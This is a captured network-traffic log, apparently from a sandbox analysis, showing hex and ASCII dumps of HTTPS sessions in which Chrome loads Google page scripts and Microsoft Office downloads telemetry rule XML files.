76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-27 16:54:17 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-27 16:54:17 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-27 16:54:17 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 34 30 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700340,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(f
2024-10-27 16:54:17 UTC	493	IN	Data Raw: 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 57 67 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 57 64 28 5c 22 Data Ascii: is.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.Wg\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\"),Wd(\"
2024-10-27 16:54:17 UTC	396	IN	Data Raw: 31 38 35 0d 0a 65 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 Data Ascii: 185e;_.ce\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.de\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Numbe
2024-10-27 16:54:17 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 68 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 67 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 67 65 5c 75 30 30 33 64 66 65 28 29 29 3b 72 65 74 75 72 6e 20 67 65 7d 3b 5c 6e 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 68 65 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 69 65 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 Data Ascii: 8000tm#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.he\u003dfunction(){ge\u003d\u003d\u003dvoid 0\u0026\u0026(ge\u003dfe());return ge};\n_.je\u003dfunction(a){const b\u003d_.he();return new _.ie(b?b.createScriptURL(a):a)
2024-10-27 16:54:17 UTC	1378	IN	Data Raw: 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 41 65 2c 45 65 2c 76 65 3b 5f 2e 78 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 76 65 28 5f 2e 77 65 28 61 29 29 3a 74 65 7c 7c 28 74 65 5c 75 30 30 33 64 6e 65 77 20 76 65 29 7d 3b 5f 2e 79 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 69 66 28 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d Data Ascii: ?#]\|$))/i;var Ae,Ee,ve;_.xe\u003dfunction(a){return a?new ve(_.we(a)):te\|\|(te\u003dnew ve)};_.ye\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;if(c.getElementsByClassNam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49714	216.58.206.68	443	380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:17 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-27 16:54:17 UTC	957	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 27 Oct 2024 16:54:17 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-27 16:54:17 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-27 16:54:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:19 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:19 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:19 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 23ba7a24-801e-0015-5af3-24f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165419Z-r197bdfb6b466qclztvgs64z10000000058g0000000078m1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:19 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:19 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:19 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165419Z-16849878b7867ttgfbpnfxt44s00000003q00000000095y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:19 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:19 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:19 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:19 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 2f084f0e-501e-0029-2021-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165419Z-17c5cb586f62blg5ss55p9d6fn00000004c000000000374z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:19 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:19 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:19 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:19 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 01edb726-501e-000a-4732-270180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165419Z-15b8d89586f4zwgbgswvrvz4vs00000005200000000046gg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:19 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:19 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:19 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165419Z-16849878b78z2wx67pvzz63kdg00000002dg000000009r15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 32193d61-901e-0015-09ca-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165420Z-17c5cb586f6r59nt869u8w8xt800000002sg000000005zdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:20 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 91249574-801e-0078-3dc7-27bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165420Z-17c5cb586f6b6kj91vqtm6kxaw00000002h0000000004n39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
